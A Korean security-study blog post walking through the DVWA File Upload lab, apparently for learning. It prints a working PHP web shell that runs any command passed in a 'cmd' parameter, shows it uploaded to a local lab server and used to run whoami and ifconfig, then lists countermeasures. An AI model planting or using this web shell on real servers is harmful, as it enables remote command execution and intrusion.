[DVWA] - File Upload

2022. 11. 8. 21:47· Web Hacking/DVWA
목차
  1. ❓ 공격 개요
  2.  
  3. 💻 실습
  4. 🔍 대응방안

❓ 공격 개요

File upload 공격 개요

 

> File uploade 취약점은 파일을 업로드하는 기능에 적절한 보안 대책이 적용되지 않을때 발생한다.

> 파일을 첨부할 수 있는 게시판에서 웹쉘(Web Shell)이라는 악성 파이을 업로드 하여 시스템으로 침투해 들어갈 수 으며  Command Injection 과 같이 웹 페이지를 통해 시스템 명령어를 내릴 수 있다.

 

💻 실습

File Upload 메인

File upload 메뉴의  메인화면이다

업로드할 image 파일을 선택하라는 문구가 보인다

파일을 선택할 수 있는 버튼과 업로드 버튼이 보인다.

 

대부분의 사용자는 게시판 형식에 맞는 확장자의 파일을 업로드 할테지만

공격자는 공격을 위한 다른 확장자들도 업로드해 보려고 시도할 것이다

 

이제 실습을 해보자

php 로 웹쉘 파일을 만들어 올려볼 것이다

실습에 사용할 웹쉘 코드는 다음과 같다

<?php

// command 입력을위한 폼 생성
echo 'Webshell upload Sucesse!<br>';
echo 'Enter a Command:<br>';
echo '<form action="">';
echo '<input type=text name="cmd">';
echo '<input type="submit">';
echo '</form>';

if (isset($_GET['cmd'])) {
	system($_GET['cmd']);
}

 

웹쉘 코드의 내용은

명령어를 입력받을 수 있는 간단한 폼을 생성후 

폼에 명령어를 입력하면 cmd 파라미터($_GET[cmd])를 통해 전달되고 

system() 함수를 이용하여 명령어를 실행하게 된다

 

이제 webshell.php 를 업로드 해보자

 

webshell.php 업로드

 

image 파일이 아닌데도 업로드가 되었다

업로드에 성공한 메시지가 출력되며 파일이 업로드된 위치도 노출되었는데,

../../hackable/uploads/webshell.php에서

../ 가 두 번 사용되었으므로

현재 주소창에 표시된 URL경로를 기준으로

http://192.168.175.130/dvwa/hackable/uploads/webshell.php 경로에 업로드 된것을 확일할 수 있다.

 

(파일이 업로드된 경로가 웹을 통해 접근할 수 있는 경로여야만 file upload 공격에 성공할수 있다)

 

웹쉘 파일 실행을 위해 파일이 업로드된 경로로 접속해보자

 

webshell.php 접근

 

webshell.php 파일이 실행되어 명령어를 입력받을 수 있는 페이지가 표시된다

이제 폼 필드를 통해 원하는 명령어를 실행할 수 있게되었다.

 

 

whoami; ifconfig 명령어를 통해 사용자와 ip를 확인할 수 있다

 

🔍 대응방안

1. 확장자와 내용검사

> 꼭 필요한 파일 형식만 업로드 되도록 파일의 확장자와 내용을 검사한다. 확장자를 수정하여 우회할 수 있으니 파일의 내용까지 일부 검사하여 파일의 종류를 확실히 검사해야 한다.

 

 

2. 업로드된 파일을 사용자가 접근 불가능한 경로에 저장

> 파일 업로드를 위한 별도의 서버를 구축하고 웹 애플리케이션 서버와 완전히 분리하는게 좋다

 

3. 파일이 업로드 되는 디렉토리의 실행 권한제거

4. 업로드된 파일및 확장자 변경

> 업로드된 파일의 확장자를 지정한 확장자로 변경시키거나, 파일이름을 랜덤하게 재생성하여 공격자가 업로드한 파일의 경로를 추측하지 못하도록 한다.

 

저작자표시 (새창열림)

'Web Hacking > DVWA' 카테고리의 다른 글

[DVWA] - SQL Injection  (0) 2022.11.12
[DVWA] - Insecure CAPTCHA  (0) 2022.11.09
[DVWA] - File Inclusion  (0) 2022.11.07
[DVWA] - CSRF(Cross Site Request Forgery)  (1) 2022.11.06
[DVWA] - Command Injection  (1) 2022.11.02
  1. ❓ 공격 개요
  2.  
  3. 💻 실습
  4. 🔍 대응방안
'Web Hacking/DVWA' 카테고리의 다른 글
  • [DVWA] - SQL Injection
  • [DVWA] - Insecure CAPTCHA
  • [DVWA] - File Inclusion
  • [DVWA] - CSRF(Cross Site Request Forgery)
po3nyo
po3nyo
po3nyo
공부기록장
po3nyo
전체
오늘
어제
  • 분류 전체보기 (208)
    • Programming (13)
      • HTML (0)
      • JavaScript (1)
      • CSS (1)
      • PHP (1)
      • Java (2)
      • Database (7)
      • Python (1)
      • C (0)
    • Web Hacking (28)
      • Web (14)
      • DVWA (12)
      • Bee-Box (0)
    • Reverse Engineernig (11)
      • study (11)
      • lena (0)
    • System Hacking (0)
    • Forensics (0)
    • Cryptography (0)
    • Wargame (58)
      • root-me.org (19)
      • webhacking.kr (0)
      • los.rubiya.kr (0)
      • TryHackMe (0)
      • HackerFactory.co.kr (0)
      • dreamhack.io (0)
      • picoctf.org (27)
      • Hackme.org (11)
      • CTF (1)
    • OS (6)
      • Windows (1)
      • LINUX (5)
    • Algorithm (22)
      • BOJ (22)
      • 기타 (0)
    • Tools (14)
    • Etc (7)
    • 알쓸신잡 (5)
    • 전공 (40)
      • 운영체제 (11)
      • 정보통신 (13)
      • 소프트웨어공학 (9)
      • 컴퓨터 구조 (7)

블로그 메뉴

  • 방명록

공지사항

인기 글

태그

  • 레코드 제한
  • dvwa
  • 취약점
  • 알쓸신잡
  • rootme
  • Hackme.org
  • html
  • ceate
  • 모의해킹
  • OWASP
  • rootmeorg
  • 정보보안
  • 웹해킹
  • sql 조건문
  • mus1c
  • order by절
  • php
  • picoCTF
  • wirteup
  • SQL
  • Infosec
  • 침투
  • Python
  • 정보통신
  • sql 데이터타입
  • sql 분법
  • 정보보호
  • dvwa실습
  • writeup
  • Hackmechallenge

최근 댓글

최근 글

🔒 · Designed By 정상우.v4.2.2
po3nyo
[DVWA] - File Upload
상단으로

티스토리툴바

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.